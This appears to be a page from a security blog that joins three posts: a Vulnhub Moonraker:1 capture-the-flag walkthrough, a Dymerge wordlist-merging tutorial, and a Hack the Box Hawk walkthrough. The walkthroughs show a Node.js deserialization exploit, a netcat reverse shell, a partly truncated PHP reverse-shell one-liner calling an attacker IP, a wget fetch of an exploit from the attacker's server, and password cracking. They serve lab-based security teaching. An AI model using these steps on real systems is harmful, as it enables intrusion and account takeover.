Moonraker:1 Vulnhub Walkthrough


Hack into the Moonraker system and discover who's behind these menacing plans once and for all. Find and destroy the Villain before it's too late. You've received intelligence of a new Villain investing heavily into Space and Laser Technologies. Although the Villain is unknown we know the motives are ominous and apocalyptic. The challenge is to get root on the Targeted Virtual Machine and read the flag.txt within that directory.
Download it from here: https://www.vulnhub.com/entry/moonraker-1,264/
Penetrating Methodology:
  • Network Scanning (Netdiscover & Nmap)
  • Web directory enumeration (Dirb)
  • Tail off apache2 access logs.
  • Browsing through discovered directories.
  • Finding Login Credentials for CouchDB’s Login.
  • Fauxton Login Page Link.
  • Checking Various Directories over browser.
  • Finding Login Credentials.
  • Logging into Node.js express framework.
  • Capturing Cookie using Burpsuite.
  • Using Node.js deserialization exploit for RCE.
  • Converting Decimal value to ASCII text.
  • Using a script to Convert ASCII text to Decimal value.
  • Base64 encoding using echo.
  • Getting reverse shell over netcat listener.
  • Converting Hash string using John the Ripper tool
  • Getting root access.
·         Reading the flag.
Let’s Begin with the Walkthrough!!
Let’s start off with scanning the network to find our targets IP.
netdiscover



We found our target IP –> 192.168.1.110
Our next motive is to scan the target IP with nmap.
nmap -p- -A 192.168.1.110 --open
The NMAP scan output shows various open ports: 22(ssh), 80(http), 110(pop3), 3000(http), 4369(epmd), 5984(couchdb).


From NMAP Scan output, we saw port 80 is open. Therefore we navigate to port 80 in the web browser. But it was not much of a help to move ahead.



Now we thought of enumerating for accessible directories on the Target Machine with the help of following command.

dirb http://192.168.1.110/
After recursively enumerating, we found a useful directory /services as highlighted.


Let’s just browse the found directory /services in the browser where at bottom of the webpage we saw an SEND AN INQUIRY Hyperlink. Let’s find out where it will lead us by clicking on it.



So it opened a SERVICES INFORMATION REQUEST FORM as shown in the image. We noticed that someone will check our web-based enquiry and will contact us in under 5minutes. This strikes us that some kind a logs will be made. But the question is where?


We have filled the enquiry form using the html code with image tag as shown in the image.


Before Clicking Submit to Sales Rep! We have restarted apache2 service, because if any logs will be made, we can easily see them by accessing apache2 access.log. After clicking Submit, it has displayed thanks for your inquiry message as shown in the image.


We have just tail off the access log of apache2 by using command.
tail -f /var/log/apache2/access.log
The log formed exposed a new webpage as highlighted in the image.



Let’s just find out where the new webpage is going to take us. For that we opened it in the browser.


So it leads us to Sales Admin Interface. This looks interesting and might be holding some great clues.


Next thing we opened CouchDB Notes and got some hints about Login Credentials for Username: jaws and Password: jaws girlfriend name + x99. Here we Google for jaws girlfriends name which came out to be dolly.



We will be requiring these found Credentials to log into Fauxton which is included in Apache CouchDb. To know more about Fauxton and CouchDB we have searched about them on google and find out a hint on how to open a CouchDB Login Page.


 Since port 5984 is open. We are able to open the CouchDB Login Page.
192.168.1.110:5984/_utils/
 Here we have used Login Credentials as follows:
Username: jaws
Password: dollyx99


Booyeah!! We have successfully logged in. Now let’s check out the docs inside these 3 databases.


The link database came out to be useful. Looking through the documents inside the link database, since every document contains a directory link but the highlighted one might be give us another clue for our next step.


So the link we have found in the highlighted document is shown in the image. Let’s copy and open this link in the browser.


So the above link opened an OFFER LETTER ARCHIVE BACKUP WEBPAGE. This is interesting, let’s check out what’s hiding in these offer letters.


Woah!! All the offer letters contains a Username and Password. But the one we have used is shown in the image.


From the NMAP Scan output, we knew port 3000 holds a Node.js framework. So we browse the Target IP on port 3000 on the browser and encountered a login portal. Credentials use to log in are as follows:
Username: hugo
Password: TempleLasersL2K



After successfully logging in, we are displayed a message shown in the image. This page seems of no use but after spending time figuring out what to do next it became very interesting.



Time to Launch Burp Suite and intercept the request of this page. After intercepting we saw a base64 encoded line in Cookie: profile as you can see in the image. Here we will be inserting node.js deserialization exploit in base64 encoded form. Let’s begin with the process.




From the image you can figure out that we will copy a Node.js deserialization exploit for Remote Code Execution.
https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/



After copying it, let’s convert the Decimal value into ASCII text using a converter available online. And don’t forget to copy the ASCII text.



Using nano, we have created a file and pasted the ASCII text copied. Here we have given our Kali Linux IP in host and set port to 1337 just save it.



So we have created a script exploit.py which will convert the ASCII text to Decimal value and it will also put COMMA in between every Decimal value converted. Whereas we are using echo command to convert the Decimal value into Base64 encoded string. And copy the whole base64 string.



Set the Copied base64 string into Cookie: profile in the request intercepted in the Brupsuite and before forwarding the request just execute a netcat listener over port 1337.



Therefore we got a reverse shell on our netcat listener. To spawn the shell we have used python bin bash one liner. 
python -c 'import pty; pty.spawn("/bin/bash")'
After recursively enumerating we found four mailboxes in /var/mail but the problem is they lack in permissions. After knowing about CouchDb’s Configuration, we come across that CouchDb’s default installation directory is /opt/couchdb and it reads configuration file from this directory etc/local.ini.
Let’s tail off the contents in local.ini.
tail /opt/couchdb/etc/local.ini
After running this command, it displayed another Login Credential as shown in the image.
Username: hugo
Password: 321Blast0ff!!


Then with the following command we switch the user and logging in as user hugo.
su hugo
password: 321Blast0ff!!

Reading the mails of hugo, we were brought to notice that Message 2 is interesting as it contains password to root in hash and also tells us to ADD ‘VR00M’ after roots password. Time to crack the password, to do that we have copied the password and pasted inside a file named hash.



Therefore, John the Ripper tool cracked the hash password for root i.e
Username: root
Password: cyber



Let’s again switch user and Login as root.
su root
Password: cyberVR00M
Booyeah!! We have successfully logged in as root and while checking through its mail directory, we have found our flag.txt file. We take a look at the content of the file and greeted with a congratulatory message.  



Author: Ashray Gupta is a Security Researcher and Technical Writer at Hacking Articles. Contributing his 2 years in the field of security as a Penetration Tester and Forensic Computer Analyst. Contact Here

Comprehensive Guide on the Dymerge


Hello friends! This article is comprehensive guide on the Dymerge tool. This is a handy little tool that helps you manage all the dictionaries that you’ve created reading through our blog and using all the amazing tools we’ve written about.

Table of Content
§  What is Dymerge
§  Installing and Launching Dymerge
§  Standard Merge
§  Fast Mode
§  Removing Duplicates
§  Reverse Listing
§  Alphabetic and Numeric Sorting
§  Defining Output
§  Including Characters
§  Compressing Output

Introduction to Dymerge
Dymerge is a tool that gives you the ability to manage dictionaries. By manage we mean it lets you gives the ability to reshape and merge them. Reshaping and merging may seem trivial but considering the fact that you could be dealing with millions of words, even the smallest of operation can turn into a mammoth and complicated task.

Installing and Launching Dymerge

We can install Dymerge from GitHub and launch it in two simple commands. We have used the “– h” flag to display the various options Dymerge has to offer.

git clone https://github.com/k4m4/dymerge.git
./dymerge.py

Standard Merge

We hope you have a few dictionaries handy to follow through with what we are doing. This a standard merge where we specify the paths to 2 different dictionaries and Dymerge combines them.
To avoid any confusion, the command is “./dymerge.py” followed by the path of the first dictionary, then a space and the path to the second dictionary. The output by default will be in a file named “dymerged.txt

./dymerge.py /root/cupp/raj.txt /usr/share/wordlists/rockyou.txt


Fast Mode
Arguably if the dictionaries are very large, performing any operation on them will take time. The person who made Dymerge thought of this conundrum and gave us a way to speed up the process by using the “-f” flag.
./dymerge.py /root/cupp/raj.txt /usr/share/wordlists/rockyou.txt –f



Removing Duplicates

A lot of the dictionary making software’s follow the same logic, so there are bound to be similar words from time to time. Dymerge gives us the option to remove duplicate words from dictionaries while combining them. To achieve this, we will be using the “-u” flag.
./dymerge.py /root/cupp/raj.txt /usr/share/wordlists/rockyou.txt -u –f


Reverse Listing

Dymerge gives us the option to reverse the order of the words in the dictionaries that we merge, this mean that the first word in the new dictionary will be last word of the second dictionary.
./dymerge.py /root/cupp/raj.txt /usr/share/wordlists/rockyou.txt -r –f


Alphabetic and Numeric Sorting

This option lets us sort words alphabetically, it also sorts numbers by following the progression of a number line from left to right when merging 2 dictionaries to 1. We will be using the “-s” flag to perform this operation.
./dymerge.py /root/cupp/raj.txt /usr/share/wordlists/rockyou.txt -s –f


Defining Output

So far we have been letting Dymerge save the output using it’s default settings, this time we will define the file name and destination of the output by using the “-o” flag.
./dymerge.py /root/cupp/raj.txt /usr/share/wordlists/rockyou.txt -s -f -o /root/output.txt

Including Characters

Just in case we find that we need something specific added to the dictionary, we can use the “-I” flag. Any characters placed after using the include flag are added to the dictionary.
./dymerge.py /root/cupp/raj.txt /usr/share/wordlists/rockyou.txt -s -f -i raj
 

And here we see “raj” being added to the dictionary.


Compressing Output
Dictionaries can be pretty big in size, especially when you’re talking about a unified dictionary comprised of multiple dictionaries. Dymerge gives us the option to compress our output using the “-z” flag.
./dymerge.py /root/cupp/raj.txt /usr/share/wordlists/rockyou.txt -s -f –z zip

All said and done, this is a pretty neat little tool to use when you’re dealing with multiple dictionaries and need something to bring a little bit of order. The functions it performs may seem simple of the face of it but are without a doubt very useful.
Stay tuned for more articles on the latest and greatest in hacking.

Hack the Box: Hawk Walkthrough

Today we are going to solve another CTF challenge “HawkNew”. HawkNew is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Easy
Task: To find user.txt and root.txt
Note: Since these labs are online available therefore they have static IP. The IP of HawkNew is 10.10.10.102

Penetration Methodology:
§  Port scanning and IP discovery
§  Anonymous FTP Login
§  Checking file type
§  Getting Login Credentials
§  Browsing IP through port 80
§  Exploiting Drupal
§  Reading First Flag User.txt
§  Getting Login Credentials
§  Spawning TTY Shell
§  Searching exploit via Searchsploit
§  Getting root Access
§  Reading Final Flag Root.txt

Walkthrough

Let’s start off with our basic nmap command to find out the open ports and running services.

nmap -A 10.10.10.102

The Nmap output shows various open ports: 21(ftp), 22(ssh), 80 http server (Drupal CMS), 8082(h2 database http console).



From the NMAP Scan output we saw that ftp Port 21 is Open and the next thing that catches our eyes is it so it has Anonymous login allowed.

ftp 10.10.10.102

We easily connected to ftp through Anonymous Login. Moving on, after navigating through multiple directories we found a hidden file i.e. “.drupal.txt.encand then we transferred the file to our local machine.



Since .drupa.txt.enc is encrypted. Let’s check the file type using ‘file’ command.

file.drupal.txt.enc

It came out to be openssl encoded data with salted password. Clearly we need to decrypt the file to get any further clue.




To crack this file, we have used an openssl bruteforce tool which is easily available on github. You can download it from the given below link or can run the following command for downloading and script execution.

git clonehttps://github.com/deltaclock/go-openssl-bruteforce.git
./openssl-brute --file /root/.drupal.txt.enc

Boom!! We have successfully cracked the file and the Password Hint we got is “PencilKeyboardScanner123 this could be the password for CMS Login. Let’s Check it.



As port 80 is running http server, we open the target machine’s IP address in our browser and found out it’s a Drupal Login Page. To Login this page we have used a Basic Username: admin and Password: PencilKeyboardScanner123.


Oh yeah!! We have successfully logged into admin dashboard. Now go to modules and then enable the check box for Path and PHP filter.





After that go to Content > Add Content > Basic Page to create a basic page where we can write malicious code to spawn the web shell. Just give any title for your malicious code.
Here we have written one-liner code for PHP reverse shell with the help of Pentest Monkey website.

&1|nc 10.10.14.10 1234 >/tmp/f"); ?>

Then select the Text format as “PHPCode”. Before saving it you should start netcat listener on the listening port. So, once the code is executed it will establish a reverse connection.
nc -lvp 1234




We got a reverse connection of victim’s machine on our netcat listener. To spawn the proper shell we have used python3 bin bash one liner.

python3 -c ‘import pty;pty.spawn(“/bin”bash”)’

Inside /home/denial we have got to User.txt flag, now time to find the root flag. While exploring through directories, we thought of reading the contents of the “settings.php” file, in this file we found the password: drupal4hawk
cat settings.php | grep Password


Then with the following command we switch the user and logging in as user daniel.
su daniel
Password: drupal4hawk
Here we have used Simple phyton3 commands to escape the python3 interpreter.
>>import pty
>>pty.spawn(‘/bin/bash’)


From Nmap scan output we notice that “H2 database running on port 8082”, therefore we search out for H2 database exploit in searchsploit.
searchsploit H2 database
It came out to be a Remote Code Execution. The exploit we have used is highlighted, after that we have copied the exploit 45506.py in the /root directory and run a Python server to download the file in the target machine.
searchsploit -m 45506
python -m SimpleHTTPServer 8080



Afterwards we have downloaded our exploit 45506.py in the /tmp directory of target machine. Then Grant the FULL permission to the exploit and execute it using command.
cd /tmp
wget http://10.10.14.10:8080/45506.py
chmod 777 455506.py
python3 45506.py –H 127.0.0.1:8082
id
Finally!! We have got the root access. Now let’s go and get the “root.txt”. We take a look at the content of the file and find our final flag.





Author: Ashray Gupta is a Security Researcher and Technical Writer at Hacking Articles. Contributing his 2 years in the field of security as a Penetration Tester and Forensic Computer Analyst. Contact Here